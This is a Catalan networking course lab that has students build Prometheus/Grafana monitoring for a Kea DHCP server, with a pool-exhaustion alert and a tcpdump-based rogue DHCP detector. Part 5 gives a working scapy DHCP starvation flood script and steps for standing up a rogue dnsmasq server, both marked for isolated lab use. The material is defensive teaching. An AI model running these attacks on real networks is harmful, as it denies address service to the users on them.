Salta el contingut

PR0202 — Monitorització del Servei DHCP amb Grafana i Detecció d'Amenaces

Informació de la pràctica

Camp Valor
Codi PR0202
Mòdul M0375 — Serveis de Xarxa i Internet
RA RA2 — Configuració Automàtica de Xarxa (DHCP)
Durada estimada 4-5 hores
Modalitat Individual
Lliurament Fitxers de configuració + PDF (documentació) a Moodle
Qualificació 10 punts (rúbrica adjunta)

Objectius

  • Desplegar un stack de monitorització (Prometheus + Grafana) amb Docker per observar l'estat del servidor Kea desplegat a PR0201.
  • Exportar mètriques reals de Kea (ocupació del pool, concessions actives) amb kea-exporter.
  • Crear un dashboard de Grafana amb l'ocupació del pool DHCP en temps real.
  • Configurar una alerta d'esgotament de pool (DHCP Starvation), seguint el llindar del 90% documentat a Ciberseguretat DHCP.
  • Implementar un detector de servidors DHCP no autoritzats (Rogue DHCP Server), també documentat a la mateixa pàgina, i integrar-lo com a mètrica monitoritzada.
  • Provar els dos mecanismes de detecció en un entorn de laboratori aïllat, simulant els atacs de manera controlada.

Requisits previs

  • Haver completat PR0201 — Servei DHCP Corporatiu amb Kea: servidor kea-server operatiu amb el vostre rang 192.168.XX.0/24.
  • Haver llegit Possibles atacs contra Serveis DHCP, en particular els apartats 1. DHCP Starvation i 2. Rogue DHCP Server.
  • Docker Desktop (o Docker Engine + Compose Plugin) instal·lat en una màquina amb accés de xarxa al kea-server (pot ser la mateixa VM o una de nova).
  • Python 3 i pip a la màquina kea-server (per instal·lar kea-exporter i l'script de detecció).

Ús exclusiu en entorn de laboratori aïllat

Aquesta pràctica inclou la simulació d'atacs de starvation i d'un servidor DHCP no autoritzat. Feu-ho únicament dins de la vostra xarxa privada de laboratori (192.168.XX.0/24), mai en una xarxa de producció o compartida amb altres companys. Simular aquests atacs fora del vostre entorn aïllat es considera una falta greu.

Personalització obligatòria

Utilitzeu el mateix XX (100 + N, número de llista) i NOMCOGNOM que a PR0201 arreu d'aquesta pràctica.


Part 1: Exportador de Mètriques Kea (45 minuts)

Kea no exposa mètriques en format Prometheus de forma nativa, però l'API REST de kea-ctrl-agent sí que dona accés a estadístiques (statistic-get-all). Utilitzarem kea-exporter, un exportador Prometheus de codi obert que tradueix aquestes estadístiques.

A la màquina kea-server:

sudo apt install -y python3-pip
pip3 install kea-exporter

kea-exporter --version

Comproveu manualment que l'API de Kea respon abans de continuar:

curl -X POST -H "Content-Type: application/json" \
     -d '{"command": "statistic-get-all", "service": ["dhcp4"]}' \
     http://192.168.XX.10:8000/

Creeu un servei systemd perquè kea-exporter s'executi de forma persistent, /etc/systemd/system/kea-exporter.service:

[Unit]
Description=Kea Prometheus Exporter - NOMCOGNOM
After=network.target kea-dhcp4-server.service

[Service]
ExecStart=/usr/local/bin/kea-exporter http://192.168.XX.10:8000
Restart=always
User=nobody

[Install]
WantedBy=multi-user.target
sudo systemctl daemon-reload
sudo systemctl enable --now kea-exporter
sudo systemctl status kea-exporter

curl http://192.168.XX.10:9547/metrics | grep kea_dhcp4_subnet

Documenteu: captura de curl .../metrics mostrant almenys les mètriques kea_dhcp4_subnet_total_addresses i kea_dhcp4_subnet_assigned_addresses.


Part 2: Stack de Monitorització amb Docker (1 hora)

Creeu l'estructura del projecte de monitorització:

mkdir -p ~/dhcp-monitoring-NOMCOGNOM/prometheus
cd ~/dhcp-monitoring-NOMCOGNOM

prometheus/prometheus.yml:

global:
  scrape_interval: 15s

rule_files:
  - "alert-rules.yml"

scrape_configs:
  - job_name: 'kea-dhcp-NOMCOGNOM'
    static_configs:
      - targets: ['192.168.XX.10:9547']

  - job_name: 'rogue-detector-NOMCOGNOM'
    static_configs:
      - targets: ['192.168.XX.10:9101']

docker-compose.yml:

services:
  prometheus:
    image: prom/prometheus:v2.55.1
    container_name: prometheus-NOMCOGNOM
    volumes:
      - ./prometheus/prometheus.yml:/etc/prometheus/prometheus.yml
      - ./prometheus/alert-rules.yml:/etc/prometheus/alert-rules.yml
    ports:
      - "9090:9090"
    networks:
      - monitor-network

  grafana:
    image: grafana/grafana:11.3.0
    container_name: grafana-NOMCOGNOM
    ports:
      - "3000:3000"
    environment:
      - GF_SECURITY_ADMIN_PASSWORD=NOMCOGNOM2026!
    volumes:
      - grafana-data:/var/lib/grafana
    networks:
      - monitor-network
    depends_on:
      - prometheus

networks:
  monitor-network:
    driver: bridge

volumes:
  grafana-data:

Aixequeu el stack:

docker compose up -d
docker compose ps

Accediu a Prometheus (http://localhost:9090/targets) i comproveu que els dos jobs (kea-dhcp-NOMCOGNOM i rogue-detector-NOMCOGNOM) apareixen — el segon encara estarà DOWN fins a la Part 4.

Documenteu: captura de docker compose ps amb els dos contenidors Up, i captura de la pàgina /targets de Prometheus.


Part 3: Dashboard de Grafana i Alerta d'Esgotament de Pool (1 hora)

Accediu a Grafana (http://localhost:3000, usuari admin) i afegiu Prometheus com a datasource (http://prometheus:9090).

Creeu un dashboard amb, com a mínim, aquests panells:

  • Ocupació del pool (%): (kea_dhcp4_subnet_assigned_addresses / kea_dhcp4_subnet_total_addresses) * 100
  • Concessions actives (comptador): kea_dhcp4_subnet_assigned_addresses
  • Adreces totals del pool: kea_dhcp4_subnet_total_addresses

Ara configureu l'alerta d'esgotament de pool a prometheus/alert-rules.yml. Aquest llindar reprodueix directament el que descriu Ciberseguretat DHCP § Monitorització i Logging Avançat (script SNMP amb llindar del 90%):

groups:
  - name: dhcp_alerts_NOMCOGNOM
    rules:
      - alert: DHCPPoolExhaustionWarning
        expr: (kea_dhcp4_subnet_assigned_addresses / kea_dhcp4_subnet_total_addresses) * 100 > 90
        for: 1m
        labels:
          severity: critical
        annotations:
          summary: "Pool DHCP NOMCOGNOM a punt d'esgotar-se"
          description: "Ocupació del pool per sobre del 90% durant més d'1 minut  possible DHCP Starvation."

Reinicieu Prometheus perquè carregui la regla:

docker compose restart prometheus

Comproveu la regla a http://localhost:9090/alerts (estat Inactive mentre el pool no estigui esgotat).

Documenteu: captura del dashboard de Grafana amb els 3 panells mostrant dades reals, i captura de la regla d'alerta a /alerts en estat Inactive.


Part 4: Detector de Servidors DHCP No Autoritzats (1 hora)

Aquest apartat implementa, en forma de mètrica Prometheus real, l'script de detecció de rogue DHCP descrit a Ciberseguretat DHCP § Rogue DHCP Server.

A la màquina kea-server, instal·leu la llibreria necessària:

pip3 install prometheus_client

Creeu /usr/local/bin/detect_rogue_dhcp.py:

#!/usr/bin/env python3
"""Detector de servidors DHCP no autoritzats basat en tcpdump."""
import re
import subprocess
from prometheus_client import start_http_server, Gauge

LEGITIMATE_SERVER = "192.168.XX.10"
INTERFACE = "eth0"
LOG_FILE = "/var/log/dhcp-rogue.log"

rogue_metric = Gauge(
    "dhcp_rogue_server_detected",
    "Servidor DHCP no autoritzat detectat (1=si, 0=no)"
)

def log_alert(server_ip):
    with open(LOG_FILE, "a") as f:
        f.write(f"[ALERT] Rogue DHCP detected from {server_ip}\n")
    print(f"[ALERT] Rogue DHCP detected from {server_ip}")

def monitor():
    proc = subprocess.Popen(
        ["tcpdump", "-i", INTERFACE, "-l", "-n", "port", "67", "or", "port", "68"],
        stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True
    )
    for line in proc.stdout:
        if "BOOTP/DHCP, Reply" in line or "DHCP-Message Option 53, length 1: Offer" in line:
            ips = re.findall(r"\d+\.\d+\.\d+\.\d+", line)
            if ips and ips[0] != LEGITIMATE_SERVER:
                rogue_metric.set(1)
                log_alert(ips[0])

if __name__ == "__main__":
    start_http_server(9101)
    monitor()

Executeu-lo com a servei (requereix privilegis per tcpdump):

sudo python3 /usr/local/bin/detect_rogue_dhcp.py &

curl http://192.168.XX.10:9101/metrics | grep dhcp_rogue

Afegiu l'alerta corresponent a prometheus/alert-rules.yml:

      - alert: RogueDHCPServerDetected
        expr: dhcp_rogue_server_detected == 1
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "Servidor DHCP no autoritzat detectat a la xarxa NOMCOGNOM"

Documenteu: captura de curl .../metrics amb dhcp_rogue_server_detected 0 (sense atac encara).


Part 5: Prova Controlada dels Dos Escenaris d'Atac (45 minuts)

Recordatori

Realitzeu aquestes proves exclusivament dins de 192.168.XX.0/24, la vostra xarxa aïllada de laboratori.

5.1 Simulació de DHCP Starvation

Des d'una màquina atacant (o la mateixa kea-server si no en teniu una altra) genereu un flood de sol·licituds DISCOVER amb MACs aleatòries:

#!/usr/bin/env python3
# starvation_test.py — ÚS EXCLUSIU EN LABORATORI AÏLLAT
from scapy.all import *
import random

def random_mac():
    return "02:%02x:%02x:%02x:%02x:%02x" % tuple(random.randint(0, 255) for _ in range(5))

for i in range(150):
    mac = random_mac()
    dhcp_discover = (Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
                      IP(src="0.0.0.0", dst="255.255.255.255") /
                      UDP(sport=68, dport=67) /
                      BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")), xid=random.randint(1, 2**32-1)) /
                      DHCP(options=[("message-type", "discover"), "end"]))
    sendp(dhcp_discover, verbose=0)

print("150 peticions DISCOVER enviades")
sudo pip3 install scapy
sudo python3 starvation_test.py

Observeu el dashboard de Grafana: el panell d'ocupació del pool hauria de pujar ràpidament. Comproveu a http://localhost:9090/alerts que DHCPPoolExhaustionWarning passa a Firing quan se supera el 90%.

Documenteu: captura del dashboard mostrant la pujada d'ocupació i captura de l'alerta en estat Firing.

5.2 Simulació d'un Servidor DHCP No Autoritzat

En una segona màquina virtual dins la mateixa xarxa 192.168.XX.0/24, instal·leu un servidor DHCP diferent (per exemple isc-dhcp-server o dnsmasq) amb una configuració mínima que respongui al mateix segment:

sudo apt install -y dnsmasq

/etc/dnsmasq.conf (versió mínima, IP diferent de la del kea-server):

interface=eth0
dhcp-range=192.168.XX.210,192.168.XX.220,12h
sudo systemctl restart dnsmasq

Des d'un client, força una renovació DHCP (o simplement espereu que el detector capturi el trànsit). Comproveu:

curl http://192.168.XX.10:9101/metrics | grep dhcp_rogue
cat /var/log/dhcp-rogue.log

Documenteu: captura del log /var/log/dhcp-rogue.log amb l'alerta i captura de la mètrica dhcp_rogue_server_detected 1. Un cop finalitzada la prova, atureu i desinstal·leu el servidor DHCP no autoritzat.


Qüestions

Responeu al document de lliurament:

  1. Per què cal utilitzar un llindar (90%) enlloc d'alertar directament al 100% d'ocupació del pool?
  2. Quina limitació té el vostre detector de rogue DHCP (basat en tcpdump) comparat amb DHCP Snooping a nivell de switch, tal com es descriu a Ciberseguretat DHCP?
  3. Si haguéssiu de desplegar aquesta monitorització a producció, quins altres atacs de la pàgina de ciberseguretat (Option Injection, Relay Attacks, Fingerprinting) us agradaria també monitoritzar, i amb quina mètrica ho faríeu?
  4. Quines accions immediates (contenció) prendríeu si l'alerta RogueDHCPServerDetected es dispara en un entorn real?

Lliurament

  1. Fitxers de configuració: docker-compose.yml, prometheus/prometheus.yml, prometheus/alert-rules.yml, kea-exporter.service, detect_rogue_dhcp.py.
  2. Documentació PDF amb:
  3. Captures de cada part (1 a 5)
  4. Respostes a les 4 qüestions
  5. Captures de les dues alertes en estat Firing durant les proves controlades
  6. README.md amb instruccions de desplegament del stack de monitorització.

Criteris d'Avaluació

Consulteu la rúbrica detallada per a la puntuació completa (10 punts, 5 blocs + penalitzacions).


Recursos Addicionals

  • Ciberseguretat DHCP — atacs i contramesures de referència d'aquesta pràctica.
  • kea-exporter (PyPI): https://pypi.org/project/kea-exporter/
  • Prometheus Alerting Rules: https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/
  • Grafana Documentation: https://grafana.com/docs/

Data de creació: Juliol 2026 Autor: Curs M0375 - Serveis de Xarxa i Internet